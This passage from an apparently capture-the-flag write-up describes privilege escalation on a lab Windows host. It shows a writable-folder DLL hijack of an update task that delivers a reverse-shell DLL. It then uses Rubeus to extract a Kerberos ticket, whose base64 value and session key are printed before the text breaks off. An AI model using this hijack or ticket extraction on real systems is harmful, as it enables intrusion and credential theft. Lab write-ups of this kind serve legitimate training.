                <span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="s">"C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip"</span><span class="p">;</span>
                <span class="kt">string</span> <span class="n">text2</span> <span class="p">=</span> <span class="s">"C:\\Program Files\\UpdateMonitor\\bin\\"</span><span class="p">;</span>
                <span class="kt">string</span> <span class="n">text3</span> <span class="p">=</span> <span class="s">"settings_update.dll"</span><span class="p">;</span>
                <span class="kt">string</span> <span class="n">text4</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="n">text2</span><span class="p">,</span> <span class="n">text3</span><span class="p">);</span>
                <span class="n">Directory</span><span class="p">.</span><span class="nf">CreateDirectory</span><span class="p">(</span><span class="n">Path</span><span class="p">.</span><span class="nf">GetDirectoryName</span><span class="p">(</span><span class="n">path</span><span class="p">));</span>
                <span class="nf">CleanupLogs</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="m">90</span><span class="p">);</span>
                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Starting Sentinel Update Check..."</span><span class="p">);</span>
                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Checking for update on core server..."</span><span class="p">);</span>
                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Info: Core did not find file Settings_Update.zip"</span><span class="p">);</span>
                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Last status: File not found on core"</span><span class="p">);</span>
                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Checking for update on local server..."</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">File</span><span class="p">.</span><span class="nf">Exists</span><span class="p">(</span><span class="n">text</span><span class="p">))</span>
                <span class="p">{</span>
                        <span class="k">try</span>
                        <span class="p">{</span>
                                <span class="k">if</span> <span class="p">(</span><span class="n">File</span><span class="p">.</span><span class="nf">Exists</span><span class="p">(</span><span class="n">text4</span><span class="p">))</span>
                                <span class="p">{</span>
                                        <span class="n">File</span><span class="p">.</span><span class="nf">Delete</span><span class="p">(</span><span class="n">text4</span><span class="p">);</span>
                                <span class="p">}</span>
                                <span class="n">ZipFile</span><span class="p">.</span><span class="nf">ExtractToDirectory</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">text2</span><span class="p">);</span>
                                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Successfully unzipped update to "</span> <span class="p">+</span> <span class="n">text2</span><span class="p">);</span>
                        <span class="p">}</span>
                        <span class="k">catch</span> <span class="p">(</span><span class="n">IOException</span> <span class="n">ex</span><span class="p">)</span>
                        <span class="p">{</span>
                                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Update failed: "</span> <span class="p">+</span> <span class="n">ex</span><span class="p">.</span><span class="n">Message</span><span class="p">);</span>
                        <span class="p">}</span>
                        <span class="k">catch</span> <span class="p">(</span><span class="n">Exception</span> <span class="n">ex2</span><span class="p">)</span>
                        <span class="p">{</span>
                                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Update failed: "</span> <span class="p">+</span> <span class="n">ex2</span><span class="p">.</span><span class="n">Message</span><span class="p">);</span>
                        <span class="p">}</span>
                <span class="p">}</span>
                <span class="k">else</span>
                <span class="p">{</span>
                        <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"No updates found locally: C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip."</span><span class="p">);</span>
                <span class="p">}</span>
                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Loading update applier: "</span> <span class="p">+</span> <span class="n">text4</span><span class="p">);</span>
                <span class="n">IntPtr</span> <span class="n">intPtr</span> <span class="p">=</span> <span class="nf">LoadLibrary</span><span class="p">(</span><span class="n">text4</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">intPtr</span> <span class="p">==</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">)</span>
                <span class="p">{</span>
                        <span class="kt">int</span> <span class="n">lastWin32Error</span> <span class="p">=</span> <span class="n">Marshal</span><span class="p">.</span><span class="nf">GetLastWin32Error</span><span class="p">();</span>
                        <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">$"Failed to load </span><span class="p">{</span><span class="n">text3</span><span class="p">}</span><span class="s">. Error code: </span><span class="p">{</span><span class="n">lastWin32Error</span><span class="p">}</span><span class="s">"</span><span class="p">);</span>
                        <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Update check completed."</span><span class="p">);</span>
                        <span class="k">return</span><span class="p">;</span>
                <span class="p">}</span>
                <span class="k">try</span>
                <span class="p">{</span>
                        <span class="n">IntPtr</span> <span class="n">procAddress</span> <span class="p">=</span> <span class="nf">GetProcAddress</span><span class="p">(</span><span class="n">intPtr</span><span class="p">,</span> <span class="s">"PreUpdateCheck"</span><span class="p">);</span>
                        <span class="k">if</span> <span class="p">(</span><span class="n">procAddress</span> <span class="p">!=</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">)</span>
                        <span class="p">{</span>
                                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Calling 'PreUpdateCheck' in "</span> <span class="p">+</span> <span class="n">text3</span><span class="p">);</span>
                                <span class="p">((</span><span class="n">PreUpdateCheck</span><span class="p">)</span><span class="n">Marshal</span><span class="p">.</span><span class="nf">GetDelegateForFunctionPointer</span><span class="p">(</span><span class="n">procAddress</span><span class="p">,</span> <span class="k">typeof</span><span class="p">(</span><span class="n">PreUpdateCheck</span><span class="p">)))();</span>
                        <span class="p">}</span>
                        <span class="k">else</span>
                        <span class="p">{</span>
                                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"'PreUpdateCheck' not found in "</span> <span class="p">+</span> <span class="n">text3</span> <span class="p">+</span> <span class="s">". Continuing..."</span><span class="p">);</span>
                        <span class="p">}</span>
                <span class="p">}</span>
                <span class="k">finally</span>
                <span class="p">{</span>
                        <span class="nf">FreeLibrary</span><span class="p">(</span><span class="n">intPtr</span><span class="p">);</span>
                <span class="p">}</span>
                <span class="nf">Log</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s">"Update check completed."</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">private</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">CleanupLogs</span><span class="p">(</span><span class="kt">string</span> <span class="n">path</span><span class="p">,</span> <span class="kt">int</span> <span class="n">maxLines</span><span class="p">)</span>
        <span class="p">{</span>
                <span class="k">try</span>
                <span class="p">{</span>
                        <span class="n">FileInfo</span> <span class="n">fileInfo</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">FileInfo</span><span class="p">(</span><span class="n">path</span><span class="p">);</span>
                        <span class="k">if</span> <span class="p">(</span><span class="n">fileInfo</span><span class="p">.</span><span class="n">Exists</span> <span class="p">&amp;&amp;</span> <span class="n">fileInfo</span><span class="p">.</span><span class="n">Length</span> <span class="p">&gt;=</span> <span class="m">102400</span><span class="p">)</span>
                        <span class="p">{</span>
                                <span class="kt">string</span><span class="p">[]</span> <span class="n">array</span> <span class="p">=</span> <span class="n">File</span><span class="p">.</span><span class="nf">ReadAllLines</span><span class="p">(</span><span class="n">path</span><span class="p">);</span>
                                <span class="k">if</span> <span class="p">(</span><span class="n">array</span><span class="p">.</span><span class="n">Length</span> <span class="p">&gt;</span> <span class="n">maxLines</span><span class="p">)</span>
                                <span class="p">{</span>
                                        <span class="kt">string</span><span class="p">[]</span> <span class="n">contents</span> <span class="p">=</span> <span class="n">array</span><span class="p">.</span><span class="nf">Take</span><span class="p">(</span><span class="n">maxLines</span><span class="p">).</span><span class="nf">ToArray</span><span class="p">();</span>
                                        <span class="n">File</span><span class="p">.</span><span class="nf">WriteAllLines</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">contents</span><span class="p">);</span>
                                <span class="p">}</span>
                        <span class="p">}</span>
                <span class="p">}</span>
                <span class="k">catch</span>
                <span class="p">{</span>
                <span class="p">}</span>
        <span class="p">}</span>

        <span class="k">private</span> <span class="k">static</span> <span class="k">void</span> <span class="nf">Log</span><span class="p">(</span><span class="kt">string</span> <span class="n">path</span><span class="p">,</span> <span class="kt">string</span> <span class="n">message</span><span class="p">)</span>
        <span class="p">{</span>
                <span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="s">$"[</span><span class="p">{</span><span class="n">DateTime</span><span class="p">.</span><span class="n">Now</span><span class="p">:</span><span class="n">yyyy</span><span class="p">-</span><span class="n">MM</span><span class="p">-</span><span class="n">dd</span> <span class="n">HH</span><span class="p">:</span><span class="n">mm</span><span class="p">:</span><span class="n">ss</span><span class="p">}</span><span class="s">] </span><span class="p">{</span><span class="n">message</span><span class="p">}{</span><span class="n">Environment</span><span class="p">.</span><span class="n">NewLine</span><span class="p">}</span><span class="s">"</span><span class="p">;</span>
                <span class="n">Console</span><span class="p">.</span><span class="nf">Write</span><span class="p">(</span><span class="n">text</span><span class="p">);</span>
                <span class="k">try</span>
                <span class="p">{</span>
                        <span class="n">File</span><span class="p">.</span><span class="nf">AppendAllText</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">text</span><span class="p">);</span>
                <span class="p">}</span>
                <span class="k">catch</span>
                <span class="p">{</span>
                <span class="p">}</span>
        <span class="p">}</span>
<span class="p">}</span>
<span class="n">You</span> <span class="n">are</span> <span class="n">not</span> <span class="k">using</span> <span class="nn">the</span> <span class="n">latest</span> <span class="n">version</span> <span class="n">of</span> <span class="n">the</span> <span class="n">tool</span><span class="p">,</span> <span class="n">please</span> <span class="n">update</span><span class="p">.</span>
<span class="n">Latest</span> <span class="n">version</span> <span class="k">is</span> <span class="err">'</span><span class="m">10.0</span><span class="p">.</span><span class="m">0.8330</span><span class="err">'</span> <span class="p">(</span><span class="n">yours</span> <span class="k">is</span> <span class="err">'</span><span class="m">8.2</span><span class="p">.</span><span class="m">0.7535</span><span class="p">-</span><span class="m">95108</span><span class="n">c96</span><span class="err">'</span><span class="p">)</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Having <code class="language-plaintext highlighter-rouge">Claude</code> analyze the code we get the following:</p>
<div filename="UpdateMonitor Process Flow" class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>1. Checks for Settings_Update.zip in C:\ProgramData\UpdateMonitor\
2. If exists → extracts it to C:\Program Files\UpdateMonitor\bin\
3. Loads settings_update.dll via LoadLibrary()
4. Calls exported function "PreUpdateCheck" if it exists
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can check if we can write to either directory:</p>
<div filename="UpdateMonitor ACLs" class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">icacls</span><span class="w"> </span><span class="s1">'C:\ProgramData\UpdateMonitor'</span><span class="w">
</span><span class="n">C:\ProgramData\UpdateMonitor</span><span class="w"> </span><span class="nx">NT</span><span class="w"> </span><span class="nx">AUTHORITY\SYSTEM:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                             </span><span class="n">BUILTIN\Administrators:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                             </span><span class="n">CREATOR</span><span class="w"> </span><span class="nx">OWNER:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">IO</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                             </span><span class="n">BUILTIN\Users:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">RX</span><span class="p">)</span><span class="w">
                             </span><span class="n">BUILTIN\Users:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">WD</span><span class="p">,</span><span class="nx">AD</span><span class="p">,</span><span class="nx">WEA</span><span class="p">,</span><span class="nx">WA</span><span class="p">)</span><span class="w">

</span><span class="n">Successfully</span><span class="w"> </span><span class="nx">processed</span><span class="w"> </span><span class="nx">1</span><span class="w"> </span><span class="nx">files</span><span class="p">;</span><span class="w"> </span><span class="n">Failed</span><span class="w"> </span><span class="nx">processing</span><span class="w"> </span><span class="nx">0</span><span class="w"> </span><span class="nx">files</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">icacls</span><span class="w"> </span><span class="s1">'C:\Program Files\UpdateMonitor\bin'</span><span class="w">
</span><span class="n">C:\Program</span><span class="w"> </span><span class="nx">Files\UpdateMonitor\bin</span><span class="w"> </span><span class="nx">logging\IT:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                                   </span><span class="n">NT</span><span class="w"> </span><span class="nx">SERVICE\TrustedInstaller:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                                   </span><span class="n">NT</span><span class="w"> </span><span class="nx">SERVICE\TrustedInstaller:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">IO</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                                   </span><span class="n">NT</span><span class="w"> </span><span class="nx">AUTHORITY\SYSTEM:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                                   </span><span class="n">NT</span><span class="w"> </span><span class="nx">AUTHORITY\SYSTEM:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">IO</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                                   </span><span class="n">BUILTIN\Administrators:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                                   </span><span class="n">BUILTIN\Administrators:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">IO</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                                   </span><span class="n">BUILTIN\Users:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">RX</span><span class="p">)</span><span class="w">
                                   </span><span class="n">BUILTIN\Users:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">IO</span><span class="p">)(</span><span class="n">GR</span><span class="p">,</span><span class="nx">GE</span><span class="p">)</span><span class="w">
                                   </span><span class="n">CREATOR</span><span class="w"> </span><span class="nx">OWNER:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">IO</span><span class="p">)(</span><span class="n">F</span><span class="p">)</span><span class="w">
                                   </span><span class="n">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGE</span><span class="w"> </span><span class="nx">AUTHORITY\ALL</span><span class="w"> </span><span class="nx">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGES:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">RX</span><span class="p">)</span><span class="w">
                                   </span><span class="n">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGE</span><span class="w"> </span><span class="nx">AUTHORITY\ALL</span><span class="w"> </span><span class="nx">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGES:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">IO</span><span class="p">)(</span><span class="n">GR</span><span class="p">,</span><span class="nx">GE</span><span class="p">)</span><span class="w">
                                   </span><span class="n">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGE</span><span class="w"> </span><span class="nx">AUTHORITY\ALL</span><span class="w"> </span><span class="nx">RESTRICTED</span><span class="w"> </span><span class="nx">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGES:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">RX</span><span class="p">)</span><span class="w">
                                   </span><span class="n">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGE</span><span class="w"> </span><span class="nx">AUTHORITY\ALL</span><span class="w"> </span><span class="nx">RESTRICTED</span><span class="w"> </span><span class="nx">APPLICATION</span><span class="w"> </span><span class="nx">PACKAGES:</span><span class="p">(</span><span class="n">I</span><span class="p">)(</span><span class="n">OI</span><span class="p">)(</span><span class="n">CI</span><span class="p">)(</span><span class="n">IO</span><span class="p">)(</span><span class="n">GR</span><span class="p">,</span><span class="nx">GE</span><span class="p">)</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Since we can write to <code class="language-plaintext highlighter-rouge">C:\ProgramData\UpdateMonitor</code> we’re able to zip up a <code class="language-plaintext highlighter-rouge">dll</code> and upload it to this folder until the task exectues.</p>

<p>I’ll be using my usual reverse shell <code class="language-plaintext highlighter-rouge">dll</code> file for this and zipping it up.</p>
<div filename="malicious dll" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>file settings_update.dll
settings_update.dll: PE32 executable <span class="k">for </span>MS Windows 6.01 <span class="o">(</span>DLL<span class="o">)</span>, Intel i386 <span class="o">(</span>stripped to external PDB<span class="o">)</span>, UPX compressed, 3 sections
<span class="nv">$ </span>zip Settings_Update.zip settings_update.dll
updating: settings_update.dll <span class="o">(</span>deflated 0%<span class="o">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s transfer the file over and check that it exists</p>
<pre filename="upload malicious dll"><code class="language-Powershell">PS C:\w1ld&gt; ls C:\ProgramData\UpdateMonitor\


    Directory: C:\ProgramData\UpdateMonitor


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/16/2026   4:43 PM                Logs
-a----        4/19/2026   6:28 AM        3914778 Settings_Update.zip
</code></pre>

<blockquote>
  <p class="info">Note that our <code class="language-plaintext highlighter-rouge">dll</code> has to match the <code class="language-plaintext highlighter-rouge">UpdateMonitor.exe</code> bitness, in this case: <code class="language-plaintext highlighter-rouge">PE32 i386</code> otherwise it won’t execute, if you don’t know what to use, a simple <code class="language-plaintext highlighter-rouge">msfvenom</code> reverse_tcp should work just fine. If you’re making your own <code class="language-plaintext highlighter-rouge">dll</code> ensure that</p>
</blockquote>

<p>Now we simply wait for <code class="language-plaintext highlighter-rouge">UpdateMonitor</code> to trigger, and we should get a reverse shell on our listener.</p>
<div filename="User flag" class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="n">Windows</span><span class="w"> </span><span class="nx">PowerShell</span><span class="w">
</span><span class="n">Copyright</span><span class="w"> </span><span class="p">(</span><span class="n">C</span><span class="p">)</span><span class="w"> </span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Corporation.</span><span class="w"> </span><span class="nx">All</span><span class="w"> </span><span class="nx">rights</span><span class="w"> </span><span class="nx">reserved.</span><span class="w">

</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows\system32</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">whoami</span><span class="w">
</span><span class="n">logging\jaylee.clifton</span><span class="w">
</span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Windows\system32</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">dir</span><span class="w"> </span><span class="nx">~/Desktop</span><span class="w"> 


    </span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Users\jaylee.clifton\Desktop</span><span class="w">


</span><span class="n">Mode</span><span class="w">                </span><span class="nx">LastWriteTime</span><span class="w">         </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">----</span><span class="w">                </span><span class="o">-------------</span><span class="w">         </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="nt">-ar</span><span class="o">---</span><span class="w">        </span><span class="mi">4</span><span class="n">/19/2026</span><span class="w">   </span><span class="nx">6:21</span><span class="w"> </span><span class="nx">AM</span><span class="w">             </span><span class="nx">34</span><span class="w"> </span><span class="nx">user.txt</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">user</code> flag.</p>
<h1 id="root">Root</h1>
<h2 id="remote-auth-as-jayleeclifton">Remote Auth as Jaylee.Clifton</h2>

<p>Just like before I’ll grab a <code class="language-plaintext highlighter-rouge">TGT</code> so we can authenticate, this time I’ll do it through <code class="language-plaintext highlighter-rouge">Rubeus</code> to grab my cached credential in the form of a <code class="language-plaintext highlighter-rouge">base64 kirbi</code> ticket.</p>
<div filename="User TGT" class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\w1ld</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">/Rubeus.exe</span><span class="w"> </span><span class="nx">tgtdeleg</span><span class="w"> </span><span class="nx">/nowrap</span><span class="w">

   </span><span class="err">______</span><span class="w">        </span><span class="err">_</span><span class="w">
  </span><span class="p">(</span><span class="err">_____</span><span class="w"> </span><span class="n">\</span><span class="w">      </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w">
   </span><span class="err">_____</span><span class="p">)</span><span class="w"> </span><span class="p">)</span><span class="err">_</span><span class="w">   </span><span class="err">_</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">__</span><span class="w">  </span><span class="err">_____</span><span class="w"> </span><span class="err">_</span><span class="w">   </span><span class="err">_</span><span class="w">  </span><span class="err">___</span><span class="w">
  </span><span class="o">|</span><span class="w">  </span><span class="err">__</span><span class="w">  </span><span class="n">/</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w">  </span><span class="err">_</span><span class="w"> </span><span class="n">\</span><span class="o">|</span><span class="w"> </span><span class="err">___</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="n">/___</span><span class="p">)</span><span class="w">
  </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w">  </span><span class="n">\</span><span class="w"> </span><span class="nx">\</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">_</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">_</span><span class="p">)</span><span class="w"> </span><span class="p">)</span><span class="w"> </span><span class="err">____</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">_</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">___</span><span class="w"> </span><span class="o">|</span><span class="w">
  </span><span class="o">|</span><span class="err">_</span><span class="o">|</span><span class="w">   </span><span class="o">|</span><span class="err">_</span><span class="o">|</span><span class="err">____</span><span class="n">/</span><span class="o">|</span><span class="err">____</span><span class="n">/</span><span class="o">|</span><span class="err">_____</span><span class="p">)</span><span class="err">____</span><span class="n">/</span><span class="p">(</span><span class="err">___</span><span class="n">/</span><span class="w">

  </span><span class="n">v2.3.3</span><span class="w">


</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Action:</span><span class="w"> </span><span class="nx">Request</span><span class="w"> </span><span class="nx">Fake</span><span class="w"> </span><span class="nx">Delegation</span><span class="w"> </span><span class="nx">TGT</span><span class="w"> </span><span class="p">(</span><span class="n">current</span><span class="w"> </span><span class="nx">user</span><span class="p">)</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">No</span><span class="w"> </span><span class="nx">target</span><span class="w"> </span><span class="nx">SPN</span><span class="w"> </span><span class="nx">specified</span><span class="p">,</span><span class="w"> </span><span class="nx">attempting</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">build</span><span class="w"> </span><span class="s1">'cifs/dc.domain.com'</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Initializing</span><span class="w"> </span><span class="nx">Kerberos</span><span class="w"> </span><span class="nx">GSS-API</span><span class="w"> </span><span class="nx">w/</span><span class="w"> </span><span class="nx">fake</span><span class="w"> </span><span class="nx">delegation</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">target</span><span class="w"> </span><span class="s1">'cifs/DC01.logging.htb'</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Kerberos</span><span class="w"> </span><span class="nx">GSS-API</span><span class="w"> </span><span class="nx">initialization</span><span class="w"> </span><span class="nx">success</span><span class="o">!</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Delegation</span><span class="w"> </span><span class="nx">request</span><span class="w"> </span><span class="nx">success</span><span class="o">!</span><span class="w"> </span><span class="nx">AP-REQ</span><span class="w"> </span><span class="nx">delegation</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">GSS-API</span><span class="w"> </span><span class="nx">output.</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Found</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">AP-REQ</span><span class="w"> </span><span class="nx">delegation</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">GSS-API</span><span class="w"> </span><span class="nx">output.</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Authenticator</span><span class="w"> </span><span class="nx">etype:</span><span class="w"> </span><span class="nx">aes256_cts_hmac_sha1</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Extracted</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">service</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">session</span><span class="w"> </span><span class="nx">key</span><span class="w"> </span><span class="nx">from</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">ticket</span><span class="w"> </span><span class="nx">cache:</span><span class="w"> </span><span class="nx">l52eYnKNGgDA</span><span class="o">+</span><span class="nx">7/Fp6HEFL7Ell6zJaAAj4ctl79jw5w</span><span class="o">=</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Successfully</span><span class="w"> </span><span class="nx">decrypted</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">authenticator</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">base64</span><span class="p">(</span><span class="n">ticket.kirbi</span><span class="p">):</span><span class="w">

      </span><span class="n">doIFyDCCBcSgAwIBBaEDAgEWooIEyjCCBMZhggTCMIIEvqADAgEFoQ0bC0xPR0dJTkcuSFRCoiAwHqADAgECoRcwFRsGa3JidGd0GwtMT0dHSU5HLkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRuonwjPFVDtKtnBwKdj5Pa</span><span class="o">+</span><span class="nx">mV</span><span class="o">+</span><span class="nx">UcnK4Vj</span><span class="w">
